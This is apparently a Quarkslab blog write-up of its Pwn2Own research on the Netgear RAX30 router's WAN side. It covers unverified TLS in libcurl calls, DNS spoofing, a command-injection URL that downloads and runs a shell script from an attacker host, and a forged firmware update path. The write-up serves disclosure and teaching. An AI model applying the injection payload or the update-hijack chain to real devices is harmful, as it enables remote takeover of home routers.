A journey into the Pwn2Own contest. Part 1: Netgear RAX30 router WAN vulnerabilities
Quarkslab participated in Pwn2own Toronto 2022 in the router category. This blog post series describes how we selected our targets, performed our vulnerability research, and goes over our findings on the Netgear RAX30 router. The first blog post focuses on our vulnerability research on the RAX30 WAN interface, while the second part will detail the research performed on the router's LAN.
Disclaimer: All vulnerabilities shown in this blog post have been reported to Netgear.
The Pwn2Own Contest
Pwn2Own is a worldwide contest that includes multiple targets such as automotive, routers, domotic equipment, and operating system, among others. The goal is to exploit these devices and gain root access in less than five minutes.
We participated in the router category with a team of 3 members:
- Cryptocorn (Eloïse Brocas);
- Madsquirrel (Benoît Forgette);
- Virtualabs (Damien Cauquil).
To go deeper into the rules for local devices, only one type of vulnerability was accepted: remote code execution. For the routers category, there were two possible vectors: via LAN and WAN, with a higher cash prize for the latter.
The WAN (Wide Area Network) is the side connected to the Internet, which means that anyone from around the world can access it. In comparison, the LAN (Local Area Network) can only be accessed by devices directly connected to the router, and these devices can communicate with other devices connected through the LAN.
Organization to prepare our research
For this research, we took about a month to choose our targets, which seems long in retrospect. To prepare Pwn2own, what seemed the most important to us was to establish a scrupulous methodology that would allow us to check a large number of entrypoints/vulnerabilities, probably in a first step without buying the hardware, based on the firmware files available for download on the vendor website. Once we have a valid methodology we can automatize as many tasks as possible and run these automated tests again a set of targets, thus optimizing our efficiency.
As you can see on the above timeline, many vulnerabilities have been found in a very short time but most of them were fixed by Netgear's hotfix. Vulnerabilities that are easy to find, also known as "low-hanging fruits", are the first ones to be found by competitors as well as the first ones to be fixed by the vendor, but still can be very useful in some attack scenarios. Therefore, we cannot simply rely on this kind of vulnerabilities to compete at Pwn2own because there is a high probability that other teams may find them too, but also that Netgear fixes them just before the contest starts (spoiler alert: they did).
Complex vulnerabilities however can be difficult to trigger and exploit, and the time required to develop a reliable exploit may impact our capability to craft an attack scenario based on them. Especially when you start your vulnerability research a few weeks before the contest. So we may have no choice but to find both types of vulnerabilities, and cross our fingers the device would be still vulnerable on D-day.
WAN vulnerabilities
Pandora for the automatization to find DNS Spoofing attack
As part of our daily work, we analyze plenty of firmware files. This task is time-consuming given the variety of manufacturer and firmware formats. Quarkslab has built a framework called Pandora
to help with this task. This framework helps extract the filesystem and analyze it by providing a programmatic API to automatize some analyses. It notably enables comparing some firmware versions to extract key differences.
To make the analysis as efficient as possible in a short time, we have chosen to focus on one possible attack. In the context of Pwn2own, the scope was restricted to attacking the target WAN interface. Moreover, no service was exposed on the WAN side restricting, even more, the potential attack surface of the device. Furthermore, the router can be potentially disconnected from the internet without any device connected to it. Thus, a well-known remaining attack vector is DNS spoofing which allows MITM attacks to be performed.
If successful, a DNS spoofing attack replaces an IP address reached by the router with the attacker’s one. For instance, if the router queries
the IP address of dns.google.com
that normally resolves to 8.8.8.8
, a malicious user present on the same network may intercept this query
and send a spoofed answer telling the router this name resolves to 10.10.0.1
, an IP address corresponding to another machine present on the
same network. The router then may connect to a rogue system and access what seems to be a legitimate service, while it is owned by an
attacker and can be used to perform multiple attacks.
Nowadays most servers use authenticated and encrypted protocols like HTTPS to prevent these attacks. As expected, most of the URLs used by this router rely on HTTPS. However, even though a certificate is associated with a server to prove its identity, the client still has to check it. For instance, curl
ensures the remote server presents a valid certificate unless provided with the -k
option which skips this check:
curl -k https://google.com
As the certificate is not verified, an attacker in a MiTM position can present a self-signed one and it will go unnoticed by the client that will not realize that the service it is requesting is malicious.
To identify this weakness in executable files, we need to identify not only calls to curl
with the -k
option but
also all calls to the libcurl
library with the appropriate options. Fortunately, curl
has an option to generate
a code snippet of the command line call, by running:
curl --libcurl test.c -k https://google.com
The resulting file test.c
contains the following code snippet:
/********* Sample code generated by the curl command line tool **********
* All curl_easy_setopt() options are documented at:
* https://curl.se/libcurl/c/curl_easy_setopt.html
************************************************************************/
#include <curl/curl.h>
int main(int argc, char *argv[])
{
CURLcode ret;
CURL *hnd;
hnd = curl_easy_init();
curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(hnd, CURLOPT_URL, "https://google.com");
curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(hnd, CURLOPT_USERAGENT, "curl/7.85.0");
curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(hnd, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(hnd, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(hnd, CURLOPT_FTP_SKIP_PASV_IP, 1L);
curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
/* Here is a list of options the curl code used that cannot get generated
as a source easily. You may choose to either not use them or implement
them yourself.
CURLOPT_WRITEDATA set to an objectpointer
CURLOPT_INTERLEAVEDATA set to an objectpointer
CURLOPT_WRITEFUNCTION set to a functionpointer
CURLOPT_READDATA set to an objectpointer
CURLOPT_READFUNCTION set to a functionpointer
CURLOPT_SEEKDATA set to an objectpointer
CURLOPT_SEEKFUNCTION set to a functionpointer
CURLOPT_ERRORBUFFER set to an objectpointer
CURLOPT_STDERR set to an objectpointer
CURLOPT_HEADERFUNCTION set to a functionpointer
CURLOPT_HEADERDATA set to an objectpointer
*/
ret = curl_easy_perform(hnd);
curl_easy_cleanup(hnd);
hnd = NULL;
return (int)ret;
}
/**** End of sample code ****/
In particular, the 2 following options are of interest:
- CURLOPT_SSL_VERIFYPEER
- CURLOPT_SSL_VERIFYHOST
They are set to 0 when the -k
option is enabled. Thus, we just need to
identify all the binaries present in the firmware calling some specific functions exported by libcurl
with these options
set to 0.
IDA Scripting: Finding libcurl Calls with Vulnerable Options
Using Pandora
, we listed the binaries importing libcurl
using the lief
analysis. Then we wrote an IDA script to analyze the options used by these calls and finally, we identified a list of vulnerable binaries:
- /usr/bin/bst_daemon;
- /usr/lib/libfwcheck.so;
- /usr/bin/fing_dil;
- /usr/bin/csh.
We also noticed that the libfwcheck.so library uses insecure HTTPS requests through libcurl
.
The faulty code is located in the fw_check_api
function of libfwcheck.so.
This function updates the endpoint base URL to download firmware and uses libcurl
to query a remote web service
with the following JSON content:
{
"token":"%s",
"ePOCHTimeStamp":"%s",
"modelNumber":"%s",
"serialNumber":"%s",
"regionCode":"%u",
"reasonToCall":"%d",
"betaAcceptance":"%d",
"currentFWVersion ":"%s"
}
When looking at the options provided to libcurl
, we identified the flag number 64 (CURLOPT_SSL_VERIFYPEER
)
and 81 (CURLOPT_SSL_VERIFYHOST
), both set to 0. As explained before, these parameters allow an
attacker to perform a MITM attack and spoof the target servers.
Thanks to that function, we could impersonate the server through DNS spoofing and extract the target model, serial, and
current firmware version. We then can send back an answer that will be processed by the router. Let's have a look at
the code in charge of parsing this answer, located in the fw_check_api
function.
The parser uses the cJson
library to process the response sent by the server, which is made of 2 elements: a status and
a specific URL. The string url
is then copied only if the status is 1. Interestingly, we can now change the URL written in this file, but we do not know where it is being used yet.
To achieve that, one can list all the binaries using this function. We focused on the pucfu
binary, as shown below:
The binary calls the get_check_fw
command and then stores the URL in the /tmp/fw/cfu_url_cache
file.
After a quick research, we identified two executable files that access this specific cache file:
puraUpdate
;pufwUpgrade
.
WAN RCE: command injection via OTA
When we analyzed the puraUpdate
and pufwUpgrade
binaries, we identified a function called DownloadFiles
that is
called with the URL read from the cfu_url_cache
file.
The following decompiled code shows how the URL read from this file is used to generate a system command using curl
,
in the DownloadFiles
function:
snprintf(curl_to_exec,500,
"(curl --fail --cacert %s %s
--max-time %d --speed-time 15
--speed-limit 1000 -o %s 2> %s;
echo $? > %s)",
"/opt/xagent/certs/ca-bundle-mega.crt",
url,
param_4,
param_2,
"/tmp/curl_result_err.txt",
"/tmp/curl_result.txt");
The url
parameter is directly used inside this command line that would be executed later as a shell command.
So if we provide an URL like the following:
http://10.10.0.1/;curl http://10.10.0.1/a.sh -o /tmp/a;chmod +x /tmp/a;/tmp/a;echo
The final command executed would be the following:
curl --fail --cacert /opt/xagent/certs/ca-bundle-mega.crt http://10.10.0.1/;curl http://10.10.0.1/a.sh -o /tmp/a;chmod +x /tmp/a;/tmp/a;echo
--max-time %d --speed-time 15
--speed-limit 1000 -o %s 2> %s;
echo $? > %s
In summary, we can impersonate a specific web service using DNS spoofing from WAN side, and force the router to connect to
our rogue server that returns a specifically-crafted URL that then is stored in a temporary file. This same temporary
file is then used by another program to access our rogue web service with certificate validation enabled (that
fails), but also another curl
command that has been injected in the temporary file. This command triggers the
download of a malicious shell script that is then executed on the target system, achieving remote code execution.
Last-minute patch
Sadly, Netgear issued a hotfix the day before the submission deadline. The latest firmware version now uses execve()
to avoid this nasty shell escape vulnerability:
execve("/bin/curl",__argv,(char **)is_https);
The parameter url
is now understood by the system as a parameter in its whole and not part of the shell command line anymore.
WAN RCE: OTA of RAE binary
If we take a bigger picture of this DownloadFiles
function, we can see that certificates are only verified when the provided URL begins with https.
But as seen previously, we can downgrade from HTTPS to HTTP, thus evading the certificate check:
iVar1 = strncasecmp(url,"https://",8);
iVar2 = access("/tmp/curl_no_verify",0);
if (iVar1 == 0 && iVar2 == -1) {
snprintf(curl_to_exec,500,
"(curl --fail --cacert %s %s ...");
}
else {
snprintf(curl_to_exec,500,
"(curl --fail --insecure %s ...");
}
DBG_PRINT("%s:%d, cmd=%s\n","DownloadFiles",0x148,curl_to_exec);
iVar1 = pegaPopen(curl_to_exec,"r");
Let's have a look at how puraUpdate
communicates with the original server and how we can replicate the servers' behavior:
- it provides a UTF-16 file called
fileinfo.txt
, providing for each release the name, size, and MD5 hash of the corresponding file - it hosts one or more files that can be downloaded by
puraUpdate
Below is the content of our fileinfo.txt
file:
[Major1]
file=RAE_RAX30_V2.0.0.21
md5=c77942fc8121567bfff7cd0dceb6ae9d
size=549880
puraUpdate
queries this server, retrieves the fileinfo.txt
file, downloads the corresponding binary file, and stores it in
its filesystem and executes it.
The exploitation scheme is detailed in the figure below:
Last-minute patch
After the publication of Netgear's hotfix, this vulnerability was no longer present in the latest version of RAX30 firmware.
Indeed, the pucfu
executable was not called anymore and was replaced by a hardcoded URL, thus avoiding any downgrade to HTTP
and enforcing certificates checks.
isWanOnline = FUN_00011e2c();
if (isWanOnline == 0) {
if (url == (char *)0x0) {
local_5eb4 = "https://http.fw.updates1.netgear.com";
DAT_00024240 = url;
}
else {
DAT_00024240 = (char *)0x1;
local_5eb4 = url;
}
printf("\nRAE Update server: %s\n",local_5eb4);
A short but long story of time (Netgear's hotfix)
Our last chance of successful exploitation resided in the pufwUpgrade
binary that was prone to
the same HTTP downgrade vulnerability but that was not patched by Netgear.
This binary calls pucfu
(making sure that the certificates are valid) and
then updates the whole firmware.
pufwUpgrade
can be called with different parameters, especially the following:
-a
to verify if an update should be done;-s
to schedule a planned task, calling this very binary with the-A
option at a random time;-A
to perform an upgrade of the full firmware if available.
Let's focus on how pufwUpgrade -A
works:
- it downloads 2 UTF-16 files from the remote server:
fileinfo.txt
andstringtable.dat
; - it reads those files and parses the content of
fileinfo.txt
; - it downloads the corresponding firmware image defined in this file;
- it checks the hash of the firmware against the hash present in
fileinfo.txt
, as well as its size, and callsbcm_flasher
to replace the current firmware; - it reboots the router to use the newly deployed firmware.
This version of fileinfo.txt
differs from the one described above in this post, as shown below:
[Major1]
file=RAX30-V2.0.8.79.img
md5=27741e1b0e75359fe42db1a405d9f008
size=64879983
o49=<MSG0001>
o64=<MSG0002>
o70=<MSG0003>
o74=<MSG0004>
[RAX30-NEWGUI-English-language-table]
file=/RAX30-V1.0.8.79_1.0.0.9-en-Language-table
CheckSum=36ad2c54efe2f698bbfc79a0f1c97d68
size=188674
This file contains the md5 hash and the size of the firmware to be downloaded, as well as some messages to give details on the changes included in the new version. It also contains a language table used for web UI localization.
When the router boots up, the pufwUpgrade -s
command is called to schedule a system upgrade check in the future.
This scheduled task is planned at a random time, decided by the previous call to pufwUpgrade
. Since this router
has no real-time clock (RTC), it relies on an NTP server to synchronize its date and time once it can access the Internet.
At boot time, the system date and time are set to the build time of the kernel and then the system starts its NTP client
to query the current date and time. However, if no NTP server answers during boot, the system keeps its current date
and time which is easily predictable. At the same time, it is difficult to guess exactly when a program is launched, since some
tasks and processes may vary.
We didn't succeed in finding any network marker such as a specific packet or request to determine the time seed used to generate the random, so we stuck to the most probable value: 3h00. This is the value we observed the most after numerous reboot attempts.
To force the router to trigger a firmware update as soon as possible (remember, we only have 5 minutes
to exploit this device), we decided to trick the router into probing a fake NTP server that would provide
the expected time and force the upgrade program to be launched. To achieve this, we focused on ntpd
, an executable file
found in the firmware that seems to be in charge of handling NTP synchronization. In particular, we had to understand what is the best way to force a time update.
First of all, ntpd
contacts the NTP servers time-h.netgear.com
and
time-g.netgear.com
using the NTP protocol, giving us the possibility to spoof this
server and manipulate the date and time... but not the timezone. If none of these servers
answer, it launches the ATS
executable which requests an HTTPS server to get the
current timestamp and the timezone for this router, a sort of recovery plan in case Netgear's
NTP servers are down, presumably.
This server is called without any certificate verification as explained before and therefore can be easily spoofed to provide this binary with specifically-crafted values. We emulated this server and returned some values in a way the router updates its date and time to a few seconds before the system update check is started:
{
"serialVersionUID": 1,
"_type":"CurrentTime",
"timestamp": 1670468360,
"zoneOffset": 0
}
This successfully triggers the system update mechanism, which in turn checks our rogue server for a new firmware image to be deployed!
So far so good, we now have a way to force the router to launch a system upgrade at will with a minimal delay between its boot and the installation of a new firmware. Well, we need a new firmware image now.
The fimware is a FIT image with a proprietary header that is used by bcm_flasher
to deploy it into the router's
non-volatile memory. FIT images are quite easy to parse and modify since U-Boot
comes with some dedicated tools.
The proprietary header is pretty simple, it contains the version, the db_version
, the board ID, and a signature. We
won't cover in this first part how the signature is computed and checked because pufwUpgrade
does not care at all.
This signature can be left empty or with some invalid value, the upgrade process will succeed anyway.
The following schema summarizes our exploitation scenario:
The problem is this attack scenario takes about 4 minutes and a half to complete, including a reboot of the router. We only have 5 minutes to successfully exploit this vulnerability, that is a pretty tight schedule! We decided to implement a LED show that will be launched in the early boot stage, to avoid losing too much time and missing the 5-minute deadline.
The following video and animation demonstrate the exploitation scenario and will make you feel as anxious as we were during our exploitation attempts!
In the end, we attempted this exploitation scenario three times without being able to successfully compromise the router we had access to during Pwn2own... We had a lot of stress but despite all of our efforts, randomness won this time.